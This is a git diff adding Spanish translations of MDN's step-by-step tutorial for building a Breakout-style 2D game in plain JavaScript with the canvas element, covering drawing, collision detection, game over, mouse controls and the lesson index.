new file mode 100644
index 0000000000..65e32f0ac2
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/controles_raton/index.html
@@ -0,0 +1,53 @@
+---
+title: Controles del ratón
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando")}}</p>
+
+<div class="summary">
+<p>Este es el noveno paso de 10 del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">tutorial Canvas para el desarrollo de juegos</a>. Puedes encontrar el código y pegarle un vistazo después de completar esta lección <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson09.html">Gamedev-Canvas-workshop/lesson9.html</a>.</p>
+</div>
+
+<p>El juego en sí está terminado, así que ahora vamos a pulirlo. Ya le hemos puesto el control del teclado y ahora le añadiremos el control del ratón<span class="seoSummary">.</span></p>
+
+<h2 id="Detectar_el_movimiento_del_ratón">Detectar el movimiento del ratón</h2>
+
+<p>Detectar el movimiento del ratón es más fácil que detectar las pulsaciones de las teclas. Todo lo que necesitamos es un añadir "escuchador" al evento {{event("mousemove")}}.Añade esta línea destrás de los otros "listeners", justo debajo del evento <code>keyup</code>:</p>
+
+<pre class="brush: js">document.addEventListener("mousemove", mouseMoveHandler, false);</pre>
+
+<h2 id="Asociar_el_movimiento_de_la_pala_con_el_movimiento_del_ratón">Asociar el movimiento de la pala con el movimiento del ratón</h2>
+
+<p>Podemos cambiar la posición de la pala basándonos en las coordenadas del puntero del ratón. Eso es lo que hace la función siguiente. Añádela detrás de la línea que acabas de añadir:</p>
+
+<pre class="brush: js">function mouseMoveHandler(e) {
+    var relativeX = e.clientX - canvas.offsetLeft;
+    if(relativeX &gt; 0 &amp;&amp; relativeX &lt; canvas.width) {
+        paddleX = relativeX - paddleWidth/2;
+    }
+}</pre>
+
+<p>En esta función calculamos un valor <code style="font-style: normal; font-weight: normal;">relativeX</code>, que es la posición horizontal del ratón en el "viewport" (<code style="font-style: normal; font-weight: normal;">e.clientX</code>), menos la distancia entre el borde izquierdo del terreno de juego y el borde izquierdo del "viewport" (<code style="font-style: normal; font-weight: normal;">canvas.offsetLeft</code>).</p>
+
+<p>Si el valor resultante es mayor que cero y menor que el ancho del terreno de juego, es que el ratón está dentro de los límites, y calculamos la posición de la paleta poniéndole el valor <code style="font-style: normal; font-weight: normal;">relativeX</code> menos la mitad del ancho de la paleta, para que el movimiento sea de verdad relativo a la mitad de la paleta.</p>
+
+<p>Ahora, la paleta seguirá la posición del cursor del ratón pero, como restringimos el movimiento al &lt;canvas&gt;, no desaparecerá completamente por los lados.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Aquí tienes el código para comparar:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/L3gngab5/","","320")}}</p>
+
+<div class="summary">
+<p>Ejercicio: ajusta los límites del movimiento de la pala para que siempre se vea la pala completa (ahora sólo se ve media en los laterales).</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Ya tenemos el juego terminado, pero aún lo podemos mejorar con algunos trucos <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando">Finalizando</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/create_the_canvas_and_draw_on_it/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/create_the_canvas_and_draw_on_it/index.html
new file mode 100644
index 0000000000..59703d3bc7
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/create_the_canvas_and_draw_on_it/index.html
@@ -0,0 +1,108 @@
+---
+title: Crea el lienzo (canvas) y dibuja en él
+slug: >-
+  Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it
+translation_of: >-
+  Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola")}}</p>
+
+<div class="summary">
+<p>Este es el primero de los 10 pasos del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Tutorial del Lienzo (Canvas) para desarrollar juegos (Gamedev Canvas Tutorial)</a>. Puedes encontrar el código fuente como debería quedar tras completar esta lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html">Gamedev-Canvas-workshop/lesson1.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Antes de que podamos programar la parte funcional del juego, necesitamos crear la estructura básica de la página que lo va a contener. Podemos hacerlo utilizando HTML y el elemento  {{htmlelement("canvas")}} .</span></p>
+
+<h2 id="El_HTML_del_juego">El HTML del juego</h2>
+
+<p>La estructura del documento HTML es muy simple, porque todo el juego se visualizará dentro del elemento {{htmlelement("canvas")}}. Con tu editor de textos favorito, prepara un documento en blanco, guárdalo como <code>index.html</code> en un lugar adecuado, y escribe el siguiente código:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8" /&gt;
+    &lt;title&gt;Gamedev Canvas Workshop&lt;/title&gt;
+    &lt;style&gt;
+    	* { padding: 0; margin: 0; }
+    	canvas { background: #eee; display: block; margin: 0 auto; }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;canvas id="myCanvas" width="480" height="320"&gt;&lt;/canvas&gt;
+
+&lt;script&gt;
+	// JavaScript code goes here
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>En la cabecera (head) tenemos un <code>charset</code>, el título de la página {{htmlelement("title")}} y un poco de CSS básico. El {{htmlelement("body")}} contiene los elementos{{htmlelement("canvas")}} y {{htmlelement("script")}}. Representaremos el juego en el primero y escribiremos el código JavaScript que lo controla en el segundo. El elemento  {{htmlelement("canvas")}} tiene el <code>id</code> <code>myCanvas</code> para que podamos hacer referencia a él con facilidad, y mide 480 píxeles de ancho por 320 de alto. Todo el código JavaScript que vamos a escribir en este tutorial lo pondremos entre las etiquetas <code>&lt;script&gt;<font face="Thread-00002020-Id-00000048"> y</font></code> <code>&lt;/script&gt;</code>.</p>
+
+<h2 id="El_lienzo_(canvas)">El lienzo (canvas)</h2>
+
+<p>Para que podamos visualizar los gráficos en el elemento {{htmlelement("canvas")}}, primero tenemos que preparar una referencia a él en JavaScript. Añade lo siguiente después de la etiqueta <code>&lt;script&gt;:</code></p>
+
+<pre class="brush: js">var canvas = document.getElementById("myCanvas");
+var ctx = canvas.getContext("2d");</pre>
+
+<p>Aquí estamos guardando una referencia al elemento {{htmlelement("canvas")}} en la variable <code>canvas</code>. Después estamos creando la variable <code>ctx</code> para guardar el contexto de gráficos 2D, que es la herramienta  que realmente utilizaremos para dibujar.</p>
+
+<p>Veamos un fragmento de código de ejemplo que dibuja un cuadrado rojo en el canvas. Añade el código a continuación y abre el archivo <code>index.html</code> con un navegador para comprobar que funciona:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(20, 40, 50, 50);
+ctx.fillStyle = "#FF0000";
+ctx.fill();
+ctx.closePath();</pre>
+
+<p>Todas las instrucciones están entre los métodos {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} y {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}. Estamos definiendo un rectángulo utilizando {{domxref("CanvasRenderingContext2D.rect()","rect()")}}: los dos primeros valores especifican las coordenadas de la esquina superior izquierda del rectángulo en el canvas, y  los otros dos sirven para indicar el ancho y el alto. En nuestro caso, el rectángulo se dibuja a 20 píxeles desde la izquierda de la pantalla y 40 píxeles desde la parte de arriba, y tiene 50 píxeles de ancho y 50 de alto, con lo que obtenemos un cuadrado perfecto. La propiedad {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} guarda un color que utilizará el método {{domxref("CanvasRenderingContext2D.fill()","fill()")}} para pintar el cuadrado que, en nuestro caso, será rojo.</p>
+
+<p>Podemos dibujar otras cosas aparte de rectángulos. Aquí hay un fragmento de código que dibuja un círculo verde. Prueba a añadir esto al final de tu código JavaScript, guárdalo y recarga la página en el navegador:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(240, 160, 20, 0, Math.PI*2, false);
+ctx.fillStyle = "green";
+ctx.fill();
+ctx.closePath();</pre>
+
+<p>Como puedes ver, estamos utilizando otra vez los métodos {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} y {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}. De lo que hay en medio, la parte más importante del código anterior es el método {{domxref("CanvasRenderingContext2D.arc()","arc()")}}. Tiene seis parámetros:</p>
+
+<ul>
+ <li>las coordenadas x e y del centro del arco</li>
+ <li>el radio del arco</li>
+ <li>los ángulos inicial y final (en qué ángulo empezar y terminar de dibujar el círculo, en radianes)</li>
+ <li>la dirección hacia la que se dibujará (<code>false</code> para seguir el sentido de las agujas del reloj, que es el valor por defecto, o <code>true</code> para el sentido contrario). Este parámetro es opcional.</li>
+</ul>
+
+<p>La propiedad {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} tiene un valor distinto al que habíamos puesto antes. Esto se debe a que, como ocurre en CSS, el color se puede especificar como un valor hexadecimal, como un nombre de color en inglés, la función <code>rgba()</code>, o cualquiera de los otros métodos de descripción de color que existen.</p>
+
+<p>En lugar de utilizar {{domxref("CanvasRenderingContext2D.fill()","fill()")}} y rellenar las formas con colores, podemos utilizar {{domxref("CanvasRenderingContext2D.stroke()","stroke()")}} para colorear únicamente el trazo exterior. Prueba a añadir también esto a tu código JavaScript:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(160, 10, 100, 40);
+ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
+ctx.stroke();
+ctx.closePath();</pre>
+
+<p>El código anterior dibuja un rectángulo vacío con el perímetro azul. Gracias al canal alfa de la función <code>rgba()</code>, que es el cuarto valor (Red, Green, Blue, Alpha), el color azul será medio transparente.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Aquí está el código fuente completo de la primera lección, ejecutándose en un JSFiddle:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: cambia el tamaño y el color de las figuras.</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Hemos preparado la estructura HTML básica y hemos aprendido un poquito a manejar el canvas. Para continuar, en el segundo capítulo averiguaremos cómo mover la bola en nuestro juego (<a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola">Mueve la bola</a>).</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/deteccion_colisiones/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/deteccion_colisiones/index.html
new file mode 100644
index 0000000000..e6d950b834
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/deteccion_colisiones/index.html
@@ -0,0 +1,128 @@
+---
+title: Detección de colisiones
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win")}}</p>
+
+<div class="summary">
+<p>Este es el séptimo paso de los 10 del juego "<a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>". Puedes encontrar el código como deberá quedar después de completar la leción en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html">Gamedev-Canvas-workshop/lesson7.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Ya tenemos los ladrillos en la pantalla pero el juego todavía no es muy interesante, porque la bola los atraviesa. Tenemos que pensar una manera de detectar colisiones para que la bola pueda rebotar en los ladrillos y romperlos.</span></p>
+
+<p><span class="seoSummary">Nosotros decidimos cómo implementar esto, por supuesto, pero puede ser complicado calcular si la bola está tocando el rectángulo o no, porque no hay funciones del &lt;canvas&gt; que sirvan para saberlo. En este tutorial vamos a hacerlo de la manera más fácil que existe: comprobaremos si el centro de la bola está tocando (colisionando) con cualquiera de los ladrillos. No siempre funcionará a la perfección y hay formas de detectar colisiones más sofisticadas que funcionan mejor, pero no nos interesa verlas porque estamos aprendiendo y tenemos que hacer las cosas fáciles</span>.</p>
+
+<h2 id="Una_función_para_detectar_colisiones">Una función para detectar colisiones</h2>
+
+<p>Para lograr nuestro objetivo vamos a definir una función que, con un bucle, recorrerá todos los ladrillos y comparará la posición de cada uno con la posición de la bola, cada vez que se dibuje un fotograma. Para que el código sea más legible definiremos la variable "b" que almacenará el objeto ladrillo en cada vuelta de bucle:</p>
+
+<pre class="brush: js">function collisionDetection() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            // calculations
+        }
+    }
+}</pre>
+
+<p>Si el centro de la bola está dentro de las coordenadas de uno de nuestros ladrillos, cambiaremos la dirección de la bola. Se cumplirá que el centro de la bola está dentro de ladrillo si se cumplen al mismo tiempo estas cuatro condiciones:</p>
+
+<ul>
+ <li>La posición "x" de la bola es mayor que la posición "x" del ladrillo</li>
+ <li>La posición "x" de la bola es menor que la posición del ladrillo más el ancho del ladrillo</li>
+ <li>La posición "y" de la bola es mayor que la posición "y" del ladrillo.</li>
+ <li>La posición "y" de la bola es menor que la posición del ladrillo más su altura.</li>
+</ul>
+
+<p>Traducimos esto a JavaScript:</p>
+
+<pre class="brush: js">function collisionDetection() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                dy = -dy;
+            }
+        }
+    }
+}</pre>
+
+<p>Añade lo anterior a tu código, debajo de la función <code>keyUpHandler()</code>.</p>
+
+<h2 id="Hacer_que_los_ladrillos_desaparezcan_cuando_reciben_un_golpe">Hacer que los ladrillos desaparezcan cuando reciben un golpe</h2>
+
+<p>El código anterior funcionará correctamente y la bola cambiará de dirección. El problema es que los ladrillos siguen donde están. Tenemos que imaginar una forma de ocuparnos de los que ya hemos golpeado con la bola. Podemos hacerlo añadiendo un parámetro extra para indicar si queremos pintar cada ladrillo en la pantalla o no. En la parte del código donde inicializamos los ladrillos, añadiremos una propiedad <code>status</code> a cada ladrillo. Cambia tu código fijándote en la línea que está resaltada:</p>
+
+<pre class="brush: js; highlight:[5]">var bricks = [];
+for(c=0; c&lt;brickColumnCount; c++) {
+    bricks[c] = [];
+    for(r=0; r&lt;brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0, status: 1 };
+    }
+}</pre>
+
+<p>A continuación consultaremos el "status" de cada ladrillo para saber si lo tenemos que dibujar o no. Si "status" vale 1, lo dibujaremos. Si vale 0, no lo dibujaremos porque habrá sido golpeado por la bola. Actualiza tu función <code>drawBricks()</code> para que quede así:</p>
+
+<pre class="brush: js; highlight:[4,5,6,7,8,9,10,11,12,13,14]">function drawBricks() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            if(bricks[c][r].status == 1) {
+                var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+                var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+                bricks[c][r].x = brickX;
+                bricks[c][r].y = brickY;
+                ctx.beginPath();
+                ctx.rect(brickX, brickY, brickWidth, brickHeight);
+                ctx.fillStyle = "#0095DD";
+                ctx.fill();
+                ctx.closePath();
+            }
+        }
+    }
+}</pre>
+
+<h2 id="Actualizar_el_status_en_la_función_de_detección_de_colisiones">Actualizar el "status" en la función de detección de colisiones</h2>
+
+<p>Ahora tenemos que ocuparnos del valor de "status" en la función <code>collisionDetection()</code>: si el ladrillo está activo (status 1) comprobaremos si hay colisión. Si hay colisión, pondremos el "status" de ese ladrillo a 0 para no volver a pintarlo. Actualiza <code>collisionDetection()</code> así:</p>
+
+<pre class="brush: js; highlight:[5,6,7,8,9,10]">function collisionDetection() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                }
+            }
+        }
+    }
+}</pre>
+
+<h2 id="Activar_la_función_de_detección_de_colisiones">Activar la función de detección de colisiones</h2>
+
+<p>Ya sólo falta llamar a la función <code>collisionDetection()</code> desde la función <code>draw()</code>. Añade la línea siguiente dentro de <code>draw()</code> function, justo después de la llamada a <code>drawPaddle()</code>:</p>
+
+<pre class="brush: js">collisionDetection();
+</pre>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Ahora se comprueban las colisiones cada vez que se dibuja un fotograma. Concretamente, miramos si la bola colisiona con cada ladrillo. ¡Ahora ya podemos romper ladrillos! :-</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/kundan333/myd4vbwg/5/","","320")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: cambia el color de la bola cada vez que choque con un ladrillo.</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Definitivamente, lo estamos consiguiendo. ¡Adelanteeee! En el capítulo octavo nos ocuparemos de la <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win">Puntuación y fin del juego ganando</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/fin_del_juego/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/fin_del_juego/index.html
new file mode 100644
index 0000000000..d57ccef444
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/fin_del_juego/index.html
@@ -0,0 +1,75 @@
+---
+title: Fin del juego
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego
+tags:
+  - Canvas
+  - Fin del juego
+  - JavaScript
+  - Tutorial
+  - graficos
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/es-ES/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques")}}</p>
+
+<div class="summary">
+<p>Este es el quinto paso de 10 del <a href="/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Puedes ver como debería quedar el código fuente después de completar esta lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson05.html">Gamedev-Canvas-workshop/lesson5.html</a>.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span>Es divertido ver la bola rebotando en las paredes y ser capaz de mover la pala pero, aparte de eso, el juego no hace nada y no tiene ningún progreso ni un objetivo final.</span> <span>Sería bueno desde el punto de vista del juego poder perder.</span> <span>La lógica asociada a perder en este juego es fácil de entender: si se te escapa la bola y alcanza el borde inferior de la pantalla, pierdes y se acabó el juego</span></span><span lang="es"><span>.</span></span></p>
+
+<h2 id="Implementar_el_final_del_juego">Implementar el final del juego</h2>
+
+<p><span id="result_box" lang="es"><span>Intentemos implementar el final del juego en nuestro juego.</span> <span>Aquí está el trozo de código de la tercera lección en donde hicimos que la pelota rebotara en las paredes:</span></span></p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width-ballRadius || x + dx &lt; ballRadius) {
+    dx = -dx;
+}
+
+if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
+    dy = -dy;
+}</pre>
+
+<p><span id="result_box" lang="es"><span>En lugar de dejar que la pelota rebote en las cuatro paredes, vamos a permitir que lo haga sólo en tres: izquierda, arriba y derecha.</span> Alcanzar <span>la pared inferior supondrá el fin del juego.</span> <span>Editaremos el segundo bloque if y lo convertiremos en un "if else" que activará el estado de "final de juego" cuando la pelota colisione con el borde inferior del terreno de juego.</span> <span>Por ahora nos conformaremos con mostrar un mensaje con la función alert() y con reiniciar el juego volviendo a cargar la página. Modifica el segundo if para que quede así</span><span>:</span></span></p>
+
+<pre class="brush: js">if(y + dy &lt; ballRadius) {
+    dy = -dy;
+} else if(y + dy &gt; canvas.height-ballRadius) {
+    alert("GAME OVER");
+    document.location.reload();
+}</pre>
+
+<h2 id="Hacer_que_la_pala_golpee_la_bola">Hacer que la pala golpee la bola</h2>
+
+<p>Para terminar esta lección sólo nos falta detectar la colisión de la bola y la paleta para que pueda rebotar, volviendo hacia la zona de juego. La manera más sencilla de hacerlo es comprobar si el centro de la bola está entre los límites izquierdo y derecho de la paleta. Actualiza el último <span id="result_box" lang="es"><span>fragmento del código, el "if else" de antes, para que te quede así:</span></span></p>
+
+<pre class="brush: js">if(y + dy &lt; ballRadius) {
+    dy = -dy;
+} else if(y + dy &gt; canvas.height-ballRadius) {
+    if(x &gt; paddleX &amp;&amp; x &lt; paddleX + paddleWidth) {
+        dy = -dy;
+    }
+    else {
+        alert("GAME OVER");
+        document.location.reload();
+    }
+}</pre>
+
+<p>Si la bola toca el <span id="result_box" lang="es"><span>borde inferior del lienzo (Canvas) debemos comprobar si golpea la pala.</span> <span>Si es así, entonces rebota como el jugador se imagina que va a ocurrir;</span> si no,<span> el juego ha terminado.</span></span></p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Aquí tienes el código que funciona para que lo compares con el tuyo:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/z4zy79fo/","","320")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: haz que la bola se mueva más rápida cuando golpea la pala.</p>
+</div>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p><span id="result_box" lang="es"><span>Lo estamos haciendo bastante bien hasta ahora y nuestro juego está empezando a despertar interés ahora que se puede perder. </span><span>Pero todavía falta algo.</span> <span>Vamos a pasar al sexto capítulo,</span></span> <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques">Construir el muro de ladrillos</a>, <span lang="es"><span>y crear algunos ladrillos para que la bola los destruya.</span></span></p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/index.html
new file mode 100644
index 0000000000..10ea794d5f
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/index.html
@@ -0,0 +1,52 @@
+---
+title: Famoso juego 2D usando JavaScript puro
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro
+tags:
+  - 2D Canvas JavaScript Tutorial
+  - Principiante Juegos
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/es-ES/docs/Games")}}</div>
+
+<p>{{Next("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it")}}</p>
+
+<p class="summary">En este tutorial paso a paso creamos un juego de la MDN, sencillo y muy famoso, escrito íntegramente en JavaScript puro. Todos los elementos gráficos aparecerán dentro de la etiqueta {{htmlelement("canvas")}} de HTML5.</p>
+
+<p>Cada paso tiene ejemplos editables y listos para ejecutar, para que puedas ver qué aspecto debería tener el ejercicio en cada momento. Apenderás a utilizar el elemento {{htmlelement("canvas")}} para implementar mecánicas de juego fundamentales como la representación de imágenes, el movimiento, la detección de colisiones, los mecanismos de control y el final del juego ganando o perdiendo.</p>
+
+<p>Para aprovechar al máximo esta serie de artículos necesitas tener ya un conocimiento básico o intermedio de <a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a>. Cuando termines este tutorial serás capaz de construir tus propios juegos Web.</p>
+
+<p><img alt="Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives." src="https://mdn.mozillademos.org/files/10383/mdn-breakout-gameplay.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="Detalle_de_las_lecciones">Detalle de las lecciones</h2>
+
+<p>Todas las lecciones y las diferentes versiones del <a href="http://breakout.enclavegames.com/lesson10.html">famoso juego MDN</a> que estamos construyendo juntos están <a href="https://github.com/end3r/Canvas-gamedev-workshop">disponibles en GitHub</a>:</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it">Crea el lienzo (canvas) y dibuja en él</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola">Mueve la bola</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls">Rebota en las paredes</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado">Control de la pala y el teclado</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego">Fin del juego</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques">Construye el muro de ladrillos</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones">Detección de colisiones</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win">Cuenta los puntos y gana</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton">Controles del ratón</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando">Finalizando</a></li>
+</ol>
+
+<p>Empezar con JavaScript puro es la mejor forma de adquirir un conocimiento sólido sobre desarrollo de juegos. Después, puedes escoger cualquier entorno de desarrollo (framework) que te guste y usarlo para tus proyectos. Los frameworks son simplemente herramientas construidas con el lenguaje JavaScript; por tanto aunque planees trabajar con ellas, es bueno aprender primero  sobre el mismo lenguaje para saber exactamente qué es lo que hay por debajo. Los frameworks aceleran el tiempo de desarrollo y ayudan a tener en cuenta las partes aburridas del juego, pero si algo no funciona como esperas, siempre puedes intentar depurarlo o simplemente escribir tu solución en JavaScript puro.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás interesado en aprender sobre el desarrollo de juegos en 2D usando una entorno de desarrollo, consulta esta serie homóloga, <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">famoso juego 2D usando Phaser</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>:  Esta serie de artículos puede usarse como material para talleres prácticos de desarrollo de juegos. También puedes hacer uso del <a href="/en-US/docs/">kit de contenido canvas Gamedev</a>  basado en este tutorial si quieres dar una charla sobre desarrollo de juegos en general.</p>
+</div>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p>Vale, ¡vamos a empezar! Dirígete hacia el primer tema — <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it">Crea el lienzo (canvas) y dibuja en él</a>.</p>
+
